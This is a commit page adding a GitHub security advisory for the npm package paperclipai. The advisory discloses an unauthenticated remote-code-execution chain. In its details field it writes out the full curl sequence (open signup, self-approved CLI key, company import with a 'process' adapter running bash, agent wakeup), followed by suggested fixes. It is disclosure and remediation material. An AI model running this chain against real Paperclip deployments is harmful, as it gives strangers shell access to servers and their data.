Skip to content

Commit 6e28439

Browse files
1 parent 7919deb commit 6e28439

1 file changed

Lines changed: 76 additions & 0 deletions

File tree

Lines changed: 76 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,76 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-68qg-g8mg-6pr7",
4+
"modified": "2026-04-10T21:08:57Z",
5+
"published": "2026-04-10T21:08:57Z",
6+
"aliases": [],
7+
"summary": "paperclip Vulnerable to Unauthenticated Remote Code Execution via Import Authorization Bypass",
8+
"details": "## Summary\n\nAn unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip instance running in `authenticated` mode with default configuration. No user interaction, no credentials, just the target's address. The entire chain is six API calls.\n\n## Steps to Reproduce\n\nThe attack chains four independent flaws to escalate from zero access to RCE:\n\n### Step 1: Create an account (no invite, no email verification)\n\n```bash\ncurl -s -X POST -H \"Content-Type: application/json\" \\\n -d '{\"email\":\"attacker@evil.com\",\"password\":\"P@ssw0rd123\",\"name\":\"attacker\"}' \\\n http://<target>:3100/api/auth/sign-up/email\n```\n\nReturns a valid account immediately. No invite token required, no email verification.\n\nThis works because `PAPERCLIP_AUTH_DISABLE_SIGN_UP` defaults to `false` in `server/src/config.ts:169-173`:\n\n```typescript\nconst authDisableSignUp: boolean =\n disableSignUpFromEnv !== undefined\n ? disableSignUpFromEnv === \"true\"\n : (fileConfig?.auth?.disableSignUp ?? false); // default: open\n```\n\nAnd email verification is hardcoded off in `server/src/auth/better-auth.ts:89-93`:\n\n```typescript\nemailAndPassword: {\n enabled: true,\n requireEmailVerification: false,\n disableSignUp: config.authDisableSignUp,\n},\n```\n\nThe environment variable isn't documented in the deployment guide, so operators don't know it exists.\n\n### Step 2: Sign in\n\n```bash\ncurl -s -v -X POST -H \"Content-Type: application/json\" \\\n -d '{\"email\":\"attacker@evil.com\",\"password\":\"P@ssw0rd123\"}' \\\n http://<target>:3100/api/auth/sign-in/email\n```\n\nCapture the session cookie from the `Set-Cookie` header.\n\n### Step 3: Create a CLI auth challenge and self-approve it\n\nCreate the challenge (no authentication required at all):\n\n```bash\ncurl -s -X POST -H \"Content-Type: application/json\" \\\n -d '{\"command\":\"test\"}' \\\n http://<target>:3100/api/cli-auth/challenges\n```\n\nThe response includes a `token` and a `boardApiToken`. The handler at `server/src/routes/access.ts:1638-1659` has no actor check -- anyone can create a challenge.\n\nNow approve it with our own session:\n\n```bash\ncurl -s -X POST \\\n -H \"Cookie: <session-cookie>\" \\\n -H \"Content-Type: application/json\" \\\n -H \"Origin: http://<target>:3100\" \\\n -d '{\"token\":\"<token-from-above>\"}' \\\n http://<target>:3100/api/cli-auth/challenges/<id>/approve\n```\n\nThe approval handler at `server/src/routes/access.ts:1687-1704` checks that the caller is a board user but does not check whether the approver is the same person who created the challenge:\n\n```typescript\nif (req.actor.type !== \"board\" || (!req.actor.userId && !isLocalImplicit(req))) {\n throw unauthorized(\"Sign in before approving CLI access\");\n}\n// no check that approver !== creator\nconst userId = req.actor.userId ?? \"local-board\";\nconst approved = await boardAuth.approveCliAuthChallenge(id, req.body.token, userId);\n```\n\nThe `boardApiToken` from step 3 is now a persistent API key tied to our account.\n\n### Step 4: Create a company and deploy an agent via import (authorization bypass)\n\nThis is the critical flaw. The direct company creation endpoint correctly requires instance admin:\n\n`server/src/routes/companies.ts:260-264`:\n```typescript\nrouter.post(\"/\", validate(createCompanySchema), async (req, res) => {\n assertBoard(req);\n if (!(req.actor.source === \"local_implicit\" || req.actor.isInstanceAdmin)) {\n throw forbidden(\"Instance admin required\");\n }\n});\n```\n\nBut the import endpoint does not:\n\n`server/src/routes/companies.ts:170-176`:\n```typescript\nrouter.post(\"/import\", validate(companyPortabilityImportSchema), async (req, res) => {\n assertBoard(req); // only checks board type\n if (req.body.target.mode === \"existing_company\") {\n assertCompanyAccess(req, req.body.target.companyId); // only for existing\n }\n // NO assertInstanceAdmin for \"new_company\" mode\n const result = await portability.importBundle(req.body, ...);\n});\n```\n\n`assertInstanceAdmin` isn't even imported in `companies.ts` (line 27 only imports `assertBoard`, `assertCompanyAccess`, `getActorInfo`), while it is imported and used in other route files like `agents.ts`.\n\nThe import also accepts a `.paperclip.yaml` in the bundle that specifies agent adapter configuration. The `process` adapter takes a `command` and `args` and calls `spawn()` directly with zero sandboxing. The import service passes the full `adapterConfig` through without validation (`server/src/services/company-portability.ts:3955-3981`).\n\n```bash\ncurl -s -X POST -H \"Authorization: Bearer <board-api-key>\" \\\n -H \"Content-Type: application/json\" \\\n -H \"Origin: http://<target>:3100\" \\\n -d '{\n \"source\": {\"type\": \"inline\", \"files\": {\n \"COMPANY.md\": \"---\\nname: attacker-corp\\nslug: attacker-corp\\n---\\nx\",\n \"agents/pwn/AGENTS.md\": \"---\\nkind: agent\\nname: pwn\\nslug: pwn\\nrole: engineer\\n---\\nx\",\n \".paperclip.yaml\": \"agents:\\n pwn:\\n icon: terminal\\n adapter:\\n type: process\\n config:\\n command: bash\\n args:\\n - -c\\n - id > /tmp/pwned.txt && whoami >> /tmp/pwned.txt\"\n }},\n \"target\": {\"mode\": \"new_company\", \"newCompanyName\": \"attacker-corp\"},\n \"include\": {\"company\": true, \"agents\": true},\n \"agents\": \"all\"\n }' \\\n http://<target>:3100/api/companies/import\n```\n\nReturns the new company ID and agent ID. The attacker now owns a company with a process adapter agent configured to run arbitrary commands.\n\n### Step 5: Trigger the agent\n\n```bash\ncurl -s -X POST -H \"Authorization: Bearer <board-api-key>\" \\\n -H \"Content-Type: application/json\" \\\n -H \"Origin: http://<target>:3100\" \\\n -d '{}' \\\n http://<target>:3100/api/agents/<agent-id>/wakeup\n```\n\nThe wakeup handler at `server/src/routes/agents.ts:2073-2085` only checks `assertCompanyAccess`, which passes because the attacker created the company. Paperclip spawns `bash -c \"id > /tmp/pwned.txt && ...\"` as the server's OS user.\n\n### Proof of Concept\n\nI have a self-contained bash script that runs the full chain automatically:\n\n```\n./poc_exploit.sh http://<target>:3100\n```\n\nIt creates a random test account, self-approves a CLI key, imports a company with a process adapter agent, triggers it, and checks for a marker file to confirm execution. Runs in under 30 seconds.\n\n## Impact\n\nAn unauthenticated remote attacker can execute arbitrary commands as the Paperclip server's OS user on any `authenticated` mode deployment with default configuration. This gives them:\n\n- Full filesystem access (read/write as the server user)\n- Access to all data in the Paperclip database\n- Ability to pivot to internal network services\n- Ability to disrupt all agent operations\n\nThe attack is fully automated, requires no user interaction, and works against the default deployment configuration.\n\n## Suggested Fixes\n\n### Critical: Unauthorized board access (the root cause)\n\nThe import bypass is how I got RCE today, but the real problem is that anyone can go from unauthenticated to a fully persistent board user through open signup + self-approve. Even if you fix the import endpoint, the attacker still has a board API key and can:\n\n- Read adapter configurations and internal API structure\n- Approve/reject/request-revision on any company's approvals (these endpoints only check `assertBoard`, not `assertCompanyAccess`)\n- Cancel any company's agent runs (same missing check)\n- Read issue data from any heartbeat run (zero auth on `GET /api/heartbeat-runs/:runId/issues`)\n- Create unlimited accounts for resource exhaustion\n- Wait for the next authorization bug to appear\n\n**These need to be fixed together:**\n\n1. **Disable open registration by default** -- `server/src/config.ts:172`, change `?? false` to `?? true`. Document `PAPERCLIP_AUTH_DISABLE_SIGN_UP` in the deployment guide. Any deployment that wants open signup can opt in explicitly.\n\n2. **Prevent CLI auth self-approval** -- `server/src/routes/access.ts`, around line 1700. Reject when the approving user is the same user who created the challenge. Right now anyone with a session can generate their own persistent API key.\n\n3. **Require email verification** -- `server/src/auth/better-auth.ts:91`, set `requireEmailVerification: true`. At minimum this stops throwaway accounts.\n\n### Critical: Import authorization bypass (the RCE path)\n\n4. **Add `assertInstanceAdmin` to the import endpoint for `new_company` mode** -- `server/src/routes/companies.ts`, lines 161-176. The direct `POST /` creation endpoint already has this check. The import endpoint doesn't. Apply the same check to both `POST /import` and `POST /import/preview`:\n\n```typescript\nassertBoard(req);\nif (req.body.target.mode === \"new_company\") {\n if (!(req.actor.source === \"local_implicit\" || req.actor.isInstanceAdmin)) {\n throw forbidden(\"Instance admin required\");\n }\n} else {\n assertCompanyAccess(req, req.body.target.companyId);\n}\n```\n\n## Contact\n\nDiscord: sagi03581\n\n\nhttps://github.com/user-attachments/assets/50c4520a-9ea1-48bd-95b5-8e370d8110c3",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "npm",
19+
"name": "paperclipai"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "2026.410.0"
30+
}
31+
]
32+
}
33+
]
34+
},
35+
{
36+
"package": {
37+
"ecosystem": "npm",
38+
"name": "@paperclipai/server"
39+
},
40+
"ranges": [
41+
{
42+
"type": "ECOSYSTEM",
43+
"events": [
44+
{
45+
"introduced": "0"
46+
},
47+
{
48+
"fixed": "2026.410.0"
49+
}
50+
]
51+
}
52+
]
53+
}
54+
],
55+
"references": [
56+
{
57+
"type": "WEB",
58+
"url": "https://github.com/paperclipai/paperclip/security/advisories/GHSA-68qg-g8mg-6pr7"
59+
},
60+
{
61+
"type": "PACKAGE",
62+
"url": "https://github.com/paperclipai/paperclip"
63+
}
64+
],
65+
"database_specific": {
66+
"cwe_ids": [
67+
"CWE-287",
68+
"CWE-862",
69+
"CWE-1188"
70+
],
71+
"severity": "CRITICAL",
72+
"github_reviewed": true,
73+
"github_reviewed_at": "2026-04-10T21:08:57Z",
74+
"nvd_published_at": null
75+
}
76+
}

0 commit comments

Comments
 (0)